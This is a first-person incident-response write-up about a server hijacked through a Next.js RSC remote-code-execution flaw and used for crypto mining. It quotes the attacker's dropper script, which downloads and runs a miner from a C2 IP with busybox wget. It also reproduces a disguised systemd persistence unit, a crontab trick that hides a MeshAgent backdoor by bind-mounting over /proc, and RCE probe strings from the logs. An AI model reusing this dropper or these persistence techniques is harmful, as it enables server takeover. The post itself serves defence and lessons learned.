Server gets hacked. Crypto miner response device.
React2Shell. Response to intrusion and infection due to the Next.js RSC (React Server Components) RCE vulnerability.
Exciting Friday evening. I received a message from the cloud provider. "There is a large amount of outbound traffic from the server to a Chinese IP." With a startled heart, I connected via SSH and found that the CPU usage was maintaining at 100%.Exciting Friday evening. I received a message from the cloud provider. "There is a large amount of outbound traffic from the server to a Chinese IP." With a startled heart, I connected via SSH and found that the CPU usage was maintaining at 100%.Beginning of the Incident
Signs of Abnormality Detected
On the night of Friday, December 5, 2025, I received a call from the cloud support team I was using.A large amount of outbound traffic is occurring to a Chinese IP.
With an uneasy heart, I connected via SSH and typed the top command..
PID USER PR NI VIRT RES SHR S %CPU %MEM COMMAND
2096450 root 20 0 7820 1368 1168 R 93.3 0.0 stringsPID USER PR NI VIRT RES SHR S %CPU %MEM COMMAND
2096450 root 20 0 7820 1368 1168 R 93.3 0.0 stringsStrings..? Is it not consuming 93% of the CPU..? Moreover, even after killing the process, it kept reviving with a changing PID.
First Response: Identifying the Process
Understanding the Malware Structure
Tracking the process tree with pstree began to reveal the structure.
systemd,1
└─sh,882056 /dev/health.sh
├─grep,2110109 -q xmrig
└─strings,2110108 /proc/2497/exesystemd,1
└─sh,882056 /dev/health.sh
├─grep,2110109 -q xmrig
└─strings,2110108 /proc/2497/exeA script called /dev/health.sh was running with 5 instances. A script I had never created.. I decided to take a look at its contents.
while true; do
for proc_dir in /proc/[0-9]*; do
pid=${proc_dir##*/}
if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then
kill -9 "$pid"
continue
fi
result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
case "$result" in
*"(deleted)"* | *"xmrig"* | *"watcher"* | *"/tmp/a"* | *"softirq"* | *"rondo"*)
kill -9 "$pid"
;;
esac
done
sleep 45
donewhile true; do
for proc_dir in /proc/[0-9]*; do
pid=${proc_dir##*/}
if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then
kill -9 "$pid"
continue
fi
result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
case "$result" in
*"(deleted)"* | *"xmrig"* | *"watcher"* | *"/tmp/a"* | *"softirq"* | *"rondo"*)
kill -9 "$pid"
;;
esac
done
sleep 45
doneIt seemed to be scanning processes every 45 seconds and killing xmrig, watcher, and softirq miners?
But the real core was in /dev/shm/bts..
#!/bin/bash
pkill -9 xmrig
P="fghgf"
R="/dev"
if ! pgrep $P > /dev/null; then
busybox wget http://193.34.213.150/nuts/x -O->/tmp/$P;
busybox wget http://193.34.213.150/nuts/lc -O->/tmp/config.json;
chmod 777 /tmp/$P;
/tmp/$P -c /tmp/config.json -B &
fi
if ! pgrep "health.sh"; then
cat <<'EOF' > "${R}/health.sh"
# ... health.sh content auto-generated ...
chmod 777 "${R}/health.sh"
${R}/health.sh &
fi
echo MEOWWWWWWWWW#!/bin/bash
pkill -9 xmrig
P="fghgf"
R="/dev"
if ! pgrep $P > /dev/null; then
busybox wget http://193.34.213.150/nuts/x -O->/tmp/$P;
busybox wget http://193.34.213.150/nuts/lc -O->/tmp/config.json;
chmod 777 /tmp/$P;
/tmp/$P -c /tmp/config.json -B &
fi
if ! pgrep "health.sh"; then
cat <<'EOF' > "${R}/health.sh"
# ... health.sh content auto-generated ...
chmod 777 "${R}/health.sh"
${R}/health.sh &
fi
echo MEOWWWWWWWWWFrom the contents, it seems the operational sequence is as follows:
1. Kill competing miner? (xmrig)
2. Download mining binary and configuration file from C2 server (193.34.213.150)
3. Execute in the background
4. Automatically regenerate the above health.sh.
Lastly, echo MEOWWWWW for a little scratch..
First Removal
# Kill all malicious processes
pkill -9 -f "health.sh"
pkill -9 -f "fghgf"
# Delete malicious files
rm -f /dev/health.sh /dev/shm/bts /tmp/fghgf /tmp/config.json
# Block C2 server
ufw deny out to 193.34.213.150
ufw deny in from 193.34.213.150
# Block all access from China on iwinv firewall# Kill all malicious processes
pkill -9 -f "health.sh"
pkill -9 -f "fghgf"
# Delete malicious files
rm -f /dev/health.sh /dev/shm/bts /tmp/fghgf /tmp/config.json
# Block C2 server
ufw deny out to 193.34.213.150
ufw deny in from 193.34.213.150
# Block all access from China on iwinv firewallThe CPU returned to normal, and I thought it was over.
But that was a mistake..
Second Infection.. The Miner Returns
Reinfection after 10 Hours
The next day at 10 AM, CPU at 200% again..
PID USER PR NI VIRT RES SHR S %CPU COMMAND
2313800 root 20 0 ... ... ... R 200.0 p9gzSAPID USER PR NI VIRT RES SHR S %CPU COMMAND
2313800 root 20 0 ... ... ... R 200.0 p9gzSAThis time it was named p9gzSA.. The address was different from the previous day.
/root/aO7j/p9gzSA -o www.digitaloceana.top:80 --tls/root/aO7j/p9gzSA -o www.digitaloceana.top:80 --tlsDiving Deeper
During the first response, I only deleted what was visible, but this time I decided to check thoroughly.
I discovered a disguised systemd service..
$ cat /usr/lib/systemd/system/systemd-agent.service
[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target
[Service]
ExecStart=/bin/systemd-daemon --user
Restart=always
User=root
[Install]
WantedBy=multi-user.target$ cat /usr/lib/systemd/system/systemd-agent.service
[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target
[Service]
ExecStart=/bin/systemd-daemon --user
Restart=always
User=root
[Install]
WantedBy=multi-user.targetI found a hidden systemd service with a plausible name and description, making it appear as a system default service. It didn't stand out because it contained "systemd" in its name.
Upon analyzing it, I found that 4 C2 server IPs were hardcoded within.
185.247.224.41
87.98.162.88
82.221.103.244
67.215.246.10185.247.224.41
87.98.162.88
82.221.103.244
67.215.246.10I even discovered the MeshAgent remote management tool.
$ ls /usr/local/mesh_services/meshagent/
meshagent$ ls /usr/local/mesh_services/meshagent/
meshagentThe MeshCentral agent was installed.
MeshServer: wss://72.62.67.33:443/agent.ashx
MeshName: all_notcloudMeshServer: wss://72.62.67.33:443/agent.ashx
MeshName: all_notcloudIt had even modified the crontab at will.
* * * * * pgrep -f meshagent | while read pid; do \
mountpoint -q /proc/$pid || mount -o bind /tmp/empty /proc/$pid 2>/dev/null; \
done* * * * * pgrep -f meshagent | while read pid; do \
mountpoint -q /proc/$pid || mount -o bind /tmp/empty /proc/$pid 2>/dev/null; \
doneNot only did they hack and use it for mining, but they also embedded many persistence mechanisms to make response difficult.
Tracing the Intrusion Path
In fact, I should have thought not only about deleting what was immediately visible during the first response but also about how they got in.
This time, I decided to properly find the vulnerability.
There were no records of external IP access in auth.log.. so I slowly sifted through the web server access logs in chronological order.
It was evident that reconnaissance attempts had begun at the end of November, and serious attacks had started from December 2.
There were traces of RCE attempts from a Chinese IP, and after the second RCE attempt on December 5,
on December 6, there was a large-scale scan. I could confirm a barrage attack attempting dozens of RCE vectors within a minute.
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh # Path Traversal
php://input # PHP RCE
eval-stdin.php # PHPUnit RCE
call_user_func_array # ThinkPHP RCE
pearcmd&+config-create # PEARCMD RCE/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh # Path Traversal
php://input # PHP RCE
eval-stdin.php # PHPUnit RCE
call_user_func_array # ThinkPHP RCE
pearcmd&+config-create # PEARCMD RCEFinding the Culprit: Next.js RSC Vulnerability
The real intrusion path was separate. It was the Next.js project running on the server.
There were a large number of POST requests to the Next.js RSC (React Server Components) endpoints in the access logs.
POST /_next/flight
POST /_react/flight
POST /_next/server-actionsPOST /_next/flight
POST /_react/flight
POST /_next/server-actionsRemote Code Execution (RCE) through the Next.js RSC serialization vulnerability. During the first response, I only deleted the visible miner, leaving the vulnerability in the Next.js app intact, which was the cause of reinfection.
Security patches and updates addressing this vulnerability have been implemented, and the current situation is that the server has been deleted and migrated to a new server. There may still be undiscovered lurking elements..
In Conclusion
We must address the root cause, not just the symptoms. The biggest mistake during the first response was thinking it was over just because the CPU returned to normal.
Attackers embed multiple layers of persistence elements. It's not enough to find just one; the entire system must be thoroughly examined.
The response took about 15 hours from Friday night to Saturday afternoon.
In the future, I will continuously check for security issues and pay attention to inspecting and updating for vulnerabilities within the system.